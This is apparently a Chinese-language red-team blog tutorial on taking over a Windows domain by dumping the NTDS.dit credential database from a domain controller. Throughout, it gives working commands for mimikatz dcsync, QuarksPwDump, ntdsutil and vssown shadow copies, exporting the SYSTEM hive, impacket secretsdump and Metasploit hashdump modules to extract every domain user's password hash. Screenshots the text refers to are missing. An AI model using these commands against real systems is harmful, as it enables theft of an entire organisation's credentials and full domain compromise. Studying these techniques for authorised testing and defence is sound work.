大家还记得内网渗透的初衷吗??? 找到域馆,拿下域控!! 拿下了域控就是拿下了整个域!!
但是大家知道拿下域环境之后应该怎么操作吗(灵魂拷问)???
那么下面,开始我们今天的内容 NTDS.DIT文件!!

目录
1.NTDS文件
想要拿下整个域,我们先离不开这个文件!!
首先,当我们拿下域控之后,我们首先会hashdump!!!

然后你就会发现,这也根本没有krbtgt的ntlm哈希啊!!!!
但是我们众所周知,krbtgt是KDC上的一个账号,拿下域控,就能拿到krbtgt的ntlm哈希值!!所以我们就能知道,域内的所有机器的密码根本不在域控的SAM文件里!!
而是在我们今天的主角,NTDI文件中

我们在我们的域控上(只有域控)才能看见这样的一个文件夹

我们在其文件夹中,能看见这样的一个文件!

而这个里面,就有域内的所有的用户的密码信息(红队能拿到这个就成功了)
当然了,这个文件和SAM文件一样,不允洗复制,不允洗查看,更不允洗修改

2.Ntds.dit的在线读取
在线读取的话,如果人家域内有很多的用户,就很有可能会卡死,甚至直接宕机(所以你得小心的一点,不然影响到了别人的正常的业务那可就不好了!!)
1.Mimikatz的在线读取
对于mimikatz我就不多说了,这个强大的神器,无论走到哪都是这么无敌!!!
bash
mimikatz lsadump::dcsync /domain:域名 /all /csv
对于普通的域内机器,肯定是拿不到的

但是对于域控,我们确实可以直接拿到的

2.QuarksPwDump在线读取
这个也是一个可以在线读取的工具,不过需要你先将nitdis文件转存出来(这个后面再讲)
bash
shell QuarksPwDump.exe --dump-hash-domain --ntds-file ntdis.dit

3.使用secretsdump直接读取
网上是用的py文件,我就直接用的exe了

3.Ntds.dit的离线读取
1.转存ntds文件
相比于在线读取,这个倒不会出现什么卡死的情况,但是人家域控不出网,就意味着你要挂多层代理,传输肯定受到影响!!! 所以你们自行斟酌哪个好!!!
1.使用ntdsutil进行卷影拷贝
这个是Windows自带的,我们先复制到桌面(或者直接传上去使用)

然后就是做卷影了(其实就是copy一份)
Kotlin
ntdsutil.exe snapshot "activate instance ntds" create q q

然后就去挂载
Kotlin
ntdsutil.exe snapshot "mount {刚才让你记住的东西}" q q

这时候我们就能在C盘下看见一个快照

然后我们可以把他复制出来
bash
copy C:\$SNAP_202405051816_VOLUMEC$\Windows\NTDS\ntds.dit C:\
这样,ntds文件就被复制出来了

2.Vssown快照提取
首先,这个vssown不是微软自带的,你可以去下载一下,然后传上去
第一步先启动卷影复制服务
bash
shell cscript vssown.vbs /start

然后就是去创建一个卷影副本
bash
cscript vssown.vbs /create c

接着再去list一下
bash
cscript vssown.vbs /list
记得去复制一下上面的那个 device object

最后就是copy了
bash
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\ntds.dit C:\Users
至此,我们就拿到了它的ntds.dit文件了!!!

2.读取Ntds.dit文件
在读取之前,我们首先要导出system的一个key!!!
bash
shell reg save hklm\system C:\system.hive

然后我们把他下载下来


这玩意可能会有点大,不过没事,要等等(如果网络环境差的话那就难崩了)
1.secretsdump读取
我们可以用impacket工具包里面的secretsdump这个py脚本获取
bash
python secretsdump.py -system hive文件的路径 -ntds ntds.dit的文件路径 LOCAL
能成功获取的到

2.Ntdsdump获取
这个方法我是失败了,可能是工具的原因(难崩)

那我们还是用secretsdump吧!!!
4.Kali-Linux进攻性读取
1.直接dumphash
当我们给目标上了马之后,我们可以先看一下权限

如果是过了UAC的管理员的话,就可以直接hashdump啦!!

2.smart_hashdump模块
这个是msf的一个模块(不过我感觉在有hashdump的模块下这个多此一举)
bash
use post/windows/gather/smart_hashdump
然后查看回我们刚才会话的session
bash
sessions -i

然后填上sessionid
bash
set session 1
这个看起来会更加的酷炫一点!!!

3.dump下来ntds文件
这个就不在细说,有点类似于横向!!
